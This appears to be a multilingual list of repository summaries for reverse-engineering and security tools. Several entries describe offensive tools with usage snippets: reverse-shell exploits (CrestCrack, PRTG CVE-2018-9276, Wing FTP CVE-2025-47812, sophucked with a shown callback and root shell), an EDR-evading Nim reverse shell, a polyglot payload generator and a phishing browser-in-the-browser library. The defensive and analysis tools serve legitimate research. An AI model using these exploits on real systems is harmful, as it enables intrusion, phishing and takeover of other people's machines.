CMF-Watch-Pro-2-BLE-Protocol

CMF Watch Pro 2 — BLE 协议（逆向工程） 非官方。 本文档描述了 CMF Watch Pro 2 （CMF by Nothing）的蓝牙低功耗（BLE）协议， 通过逆向工程重建，用于替代配套应用。它与 Nothing/CMF 无关联，也未获其认可。使用风险自负。 帧头和操作码中的所有多字节整数均为大端序。 命令载荷内部 的整数除非另有说明，否则为小端序 （这与设备固件一致）——请注意例外情况（GOALSSET、GPSPUSH、批量传输的偏移量/长度为 大端序）。 置信度标记 以下每项非显而易见的声明都标注了其确定方式： ✅ 已在设备上验证 —...

CrestCrack

CrestCrack CrestCrack es un script simple que explota CVE-2016-5640 / CLVA-2016-05-002 en Crestron AirMedia AM-100 v1.1.1.11 - v1.2.1. Al proporcionarle argumentos, CrestCrack utilizará netcat para crear una reverse shell entre tu objetivo y un listener netcat de tu elección. Configuración: 1...

BerrySentinel

🫐 Berry Sentinel 实时C2（命令与控制）连接行为检测器 零特征码 · 防弹收集 · 深度扫描 · 终止引擎 这是什么？ Berry Sentinel 监控你系统上所有活跃的网络连接，并分析生成这些连接的进程的行为 ，以检测恶意活动 —— 无需使用杀毒软件的特征码数据库或IP黑名单。 它通过观察进程的行为方式 来检测反向Shell、Webshell、RAT、C2信标以及Meterpreter、Cobalt Strike、Sliver或Empire等框架：如果一个Python解释器的stdin连接到了一个远程socket，即使IP未知，这也值得怀疑。...

nim-shell

Nim-Shell Reverse shell that can bypass EDR and windows defender detection Please do not upload to VirusTotal 𝗜𝗡𝗦𝗧𝗔𝗟𝗟𝗔𝗧𝗜𝗢𝗡 𝗜𝗡𝗦𝗧𝗥𝗨𝗖𝗧𝗜𝗢𝗡𝗦 $ apt install nim Compilation nim c -d:mingw --app:gui nimshell.nim Change the IP address and port number you want to listen to in the nimshell.nim file accordin...

nim-shell

Nim-Shell EDRおよびWindows Defenderの検出をバイパスできるリバースシェル VirusTotalにアップロードしないでください 𝗜𝗡𝗦𝗧𝗔𝗟𝗟𝗔𝗧𝗜𝗢𝗡 𝗜𝗡𝗦𝗧𝗥𝗨𝗖𝗧𝗜𝗢𝗡𝗦 $ apt install nim コンパイル nim c -d:mingw --app:gui nimshell.nim nimshell.nimファイル内のリッスンしたいIPアドレスとポート番号をデバイスに合わせて変更してください。 そしてリッスン $ nc -nvlp 4444...

r2frida

r2frida Radare2 と Frida をより良く組み合わせる 説明 radare2 用の自己完結型プラグインで、 frida を同梱し、Frida スクリプトだけでなく r2 コマンドを使ってローカルまたはリモートのプロセスをインストルメント できるようにします。 radare プロジェクトはリバースエンジニアリングのための完全なツール チェーンを提供しており、活発にメンテナンスされ、よく整備された機能を 提供し、他のプログラミング言語やツールでその機能を拡張しています。 Frida は動的インストルメンテーションツールキットで、独自の JavaScript...

vmlinux-to-elf

vmlinux-to-elf 该工具可以从 vmlinux/vmlinuz/bzImage/zImage 内核映像（无论是原始二进制数据块，还是已存在但剥离了符号的 .ELF 文件）生成一个完全可分析的 .ELF 文件，并恢复其中的函数与变量符号。 为此，它会扫描内核中的内核符号表（kallsyms）——这是一种几乎存在于每个内核中、且基本保持原样的压缩符号表。 由于该符号表原本经过压缩，它应当能够恢复原始二进制文件中不可见的字符串。 它会生成一个 .ELF 文件，你可以使用 IDA Pro 和 Ghidra 对其进行分析。因此，该工具对嵌入式系统的逆向工程非常有用。 用法： Comma...

APKLab

APKLab 究極のAndroidリバースエンジニアリング体験をVS Codeの中で。 APKLabは、最先端のオープンソースツールをシームレスに統合します：Apktool、smali-lsp、Jadx、uber-apk-signer、apk-mitmなど。優れたVS Codeに統合し、IDEから離れることなくアプリ分析に集中して完了できます。 機能 アプリのリソースファイルのデコード/編集/リビルド APKをSmaliとの間で逆アセンブル/改造/リビルド APKをJavaソースにデコンパイル 優れたSmali言語サポート（smali-lsp）—...

oregami

Oregami """ このレジスタは何に使うんだっけ？ うーん…名前をveryuniquenameに変えて、テキスト検索で全参照を見つけよう！ よし…検索が終わるのを待とう…もうすぐだ…完了！ あとは検索結果の中から、レジスタの現在の使用フレームに関係あるものを判断するだけだ。 そんなに難しくないはずだよね？ """ もしこんなことがあったなら（おそらく一度や二度ではないでしょう）、あなたはラッキーです！ Shift-X を押すだけで、悩みが解消されます！ 使用フレーム内でレジスタの名前を変更することもできます。Shift-N を押して、指示に従ってください！...

paimei

PaiMei 是一个由多个可扩展组件组成的逆向工程框架。该框架本质上可以看作是逆向工程师的瑞士军刀，已被证明可有效用于各种静态和动态任务，例如模糊测试辅助、代码覆盖率跟踪、数据流跟踪等。 有关更多详细信息，请参阅 docs\index.html。...

awesome-hacking

Awesome Hacking -一个很棒的项目 精选的 Awesome Hacking 列表。灵感来源于 awesome-machine-learning 如果你想为这个列表做出贡献（请务必这样做），请向我发送拉取请求！ 如需可下载的免费黑客书籍列表，请点击此处 目录 系统 教程 工具 Docker 综合 逆向工程 教程 工具 综合 Web 工具 综合 网络 工具 取证 工具 密码学 工具 战争游戏 系统 逆向工程 Web 密码学 漏洞赏金 CTF 竞赛 综合 操作系统 在线资源 后渗透 工具 其他 系统 教程 Roppers Computing Fundamentals...

Glass

Glass 如其名，透明而顺滑 一款快速、原生、移动应用优先 的交互式反汇编器。它是针对 Android / iOS 逆向工程工作流程的 IDA Pro 的精神继承者，围绕以下组件构建： smali 用于处理 APK / DEX / smali armv8-encode 用于 AArch64 和 ARMv7（A32 / Thumb）——原生 .so、iOS Mach-O gpui（Zed）用于 GPU 加速的原生 UI redb 用于内容寻址持久化 内置 MCP 服务器，使得任何支持 MCP 的主机（Claude Desktop、Cursor、Zed）都可以直接驱动 Glass...

SSCMS-PluginShell

Instalar VisualStudio 2. Importar el proyecto 3. Modificar el valor de IPAddress.Parse en el archivo Startup.cs using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using System;...

cerberus-re-skill

Cerberus RE cerberus-re 是一个面向苹果生态的本地化逆向工程工作台，用于围绕 Ghidra、LLDB 和 Frida 构建可重复的三头静态/动态/插装循环。 它专为需要持久工件而非仅终端笔记的分析师和编码代理而设计： Ghidra 导入、无头导出、反编译、交叉引用及元数据恢复。 LLDB 运行时跟踪，并利用静态富化信息回填到导出函数上下文。 Frida 诊断、受控运行时重新检查、Objective-C 探针以及堆或归档检查辅助工具。 基于导出的 Objective-C/字符串/符号数据的 XPC 接口及图报告。 RE 证据报告、笔记、案例文件以及发布门控验证检查。...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 反弹 Shell（支持 Python3） 依赖项 Impacket（Python3 版本） Netcat Msfvenom 使用方法 git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1. 执行漏洞利用需要凭据。尝试默认凭据...

sjcam

Lelouch: SJCAM SJ4000 固件研究与自定义固件 Trocar para Português Brasil 针对 SJCAM SJ4000 Air 的 Allwinner V3 版本的逆向工程笔记、固件工具、概念验证代码以及自定义固件界面。 研究文章 本仓库包含研究过程中产生的代码和成果。完整文章阐述了从首次固件转储到 Lelouch 自定义固件的整个调查过程。 阅读完整的研究文章（英文） 或 葡萄牙语版。 关于项目 这项工作始于一个简单的问题：在没有文档、源代码或供应商支持的情况下，我能对一台廉价运动相机获得多少控制权？ 结果发现该相机使用了 Allwinner V3...

Mimic

Mimic 无框架的浏览器中的浏览器（BitB）——没有 iframe，也没有 frame-busting 问题。一个单脚本的 Shadow DOM / MutationObserver 库，用于逼真的钓鱼模拟，可轻松通过反向代理注入。 ⚠️ 警告 ：请仅根据您当前的法律使用本软件。滥用本软件可能会引发法律和道德问题，我不支持也不对此承担任何责任。 📖 简要历史 MalwareMonster 和我在大约七年前开发了一个与此思路相同的概念验证项目，名为 FISHY。该项目成功展示了 BitB 攻击向量，尽管可用性明显有限。大约两年后，mrd0x 通过他的 BITB...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server 通过 Lua 注入实现远程代码执行 作者： 0xgh057r3c0n 🧠 描述 此漏洞利用 Wing FTP Server 登录处理程序（loginok.html）中的 Lua 注入漏洞，执行任意操作系统命令或获取反向 Shell。它通过 username 参数滥用未经过滤的 Lua 代码执行。 📦 依赖要求 Python 3.6 或更高版本 pip3 Python 软件包 使用以下命令安装所需软件包： pip3 install -r requirements.txt 或手动安装： pip3 install request...

SNOWCRASH

SNOWCRASH ポリグロットペイロードジェネレーター はじめに SNOWCRASH は、Linux と Windows 両方のマシンで起動可能なスクリプトを作成します。ユーザーが選択したペイロード（この場合は Bash と Powershell コードの組み合わせ）が、プラットフォームに依存しない単一のポリグロットテンプレートに埋め込まれます。 利用可能なペイロードはいくつかあり、コマンド実行、リバースシェルの確立、バイナリ実行などがあります : 基本的な使い方 1. 依存関係をインストール: ./install.sh 2. 利用可能なペイロードを一覧表示: ./snowcrash...

sophucked

sophucked CVE-2020-25223 RCE PoC，获取反向 Shell。无需认证。快速实现，以统一一些威胁磁铁。 使用示例： python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 在端口 80 上启动处理程序 + 发送回调至 x.x.x.x:80 + 来自 x.x.x.x 的连接 + 弹出你的 Shell！ bash: 此 Shell 中无作业控制 utm:/var/confd unset HISTFILE unset HISTFILE utm:/var/confd id id uid=0root gid=0root...